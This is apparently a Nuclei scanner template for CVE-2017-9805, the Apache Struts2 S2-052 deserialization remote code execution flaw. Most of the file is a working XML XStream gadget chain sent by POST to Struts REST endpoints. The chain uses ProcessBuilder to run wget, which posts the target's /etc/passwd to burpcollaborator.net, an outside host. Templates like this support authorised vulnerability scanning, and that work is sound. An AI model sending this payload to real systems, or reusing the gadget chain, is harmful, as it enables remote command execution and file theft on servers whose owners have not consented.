96 lines
3.9 KiB
YAML
96 lines
3.9 KiB
YAML
id: CVE-2017-9805
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info:
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name: Apache Struts2 S2-052 RCE
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author: pikpikcu
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severity: high
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description: The REST Plugin in Apache Struts 2.1.1 through 2.3.x before 2.3.34 and 2.5.x before 2.5.13 uses an XStreamHandler with an instance of XStream for deserialization without any type filtering, which can lead to Remote Code Execution when deserializing XML payloads.
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reference:
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- http://www.oracle.com/technetwork/security-advisory/alert-cve-2017-9805-3889403.html
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- https://struts.apache.org/docs/s2-052.html
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tags: cve,cve2017,apache,rce,struts
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classification:
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cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 8.10
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cve-id: CVE-2017-9805
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cwe-id: CWE-502
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requests:
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- method: POST
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path:
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- "{{BaseURL}}/struts2-rest-showcase/orders/3"
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- "{{BaseURL}}/orders/3"
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headers:
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Content-Type: application/xml
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body: |
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<map>
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<entry>
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<jdk.nashorn.internal.objects.NativeString>
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<flags>0</flags>
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<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
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<dataHandler>
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<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
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<is class="javax.crypto.CipherInputStream">
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<cipher class="javax.crypto.NullCipher">
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<initialized>false</initialized>
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<opmode>0</opmode>
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<serviceIterator class="javax.imageio.spi.FilterIterator">
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<iter class="javax.imageio.spi.FilterIterator">
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<iter class="java.util.Collections$EmptyIterator"/>
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<next class="java.lang.ProcessBuilder">
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<command>
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<string>wget</string>
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<string>--post-file</string>
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<string>/etc/passwd</string>
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<string>burpcollaborator.net</string>
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</command>
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<redirectErrorStream>false</redirectErrorStream>
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</next>
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</iter>
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<filter class="javax.imageio.ImageIO$ContainsFilter">
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<method>
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<class>java.lang.ProcessBuilder</class>
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<name>start</name>
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<parameter-types/>
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</method>
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<name>asdasd</name>
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</filter>
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<next class="string">asdasd</next>
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</serviceIterator>
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<lock/>
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</cipher>
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<input class="java.lang.ProcessBuilder$NullInputStream"/>
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<ibuffer></ibuffer>
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<done>false</done>
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<ostart>0</ostart>
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<ofinish>0</ofinish>
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<closed>false</closed>
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</is>
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<consumed>false</consumed>
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</dataSource>
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<transferFlavors/>
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</dataHandler>
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<dataLen>0</dataLen>
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</value>
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</jdk.nashorn.internal.objects.NativeString>
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<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
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</entry>
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<entry>
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<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
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<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
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</entry>
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</map>
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matchers-condition: and
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matchers:
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- type: word
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words:
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- "Debugging information"
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- "com.thoughtworks.xstream.converters.collections.MapConverter"
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condition: and
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- type: status
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status:
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- 500
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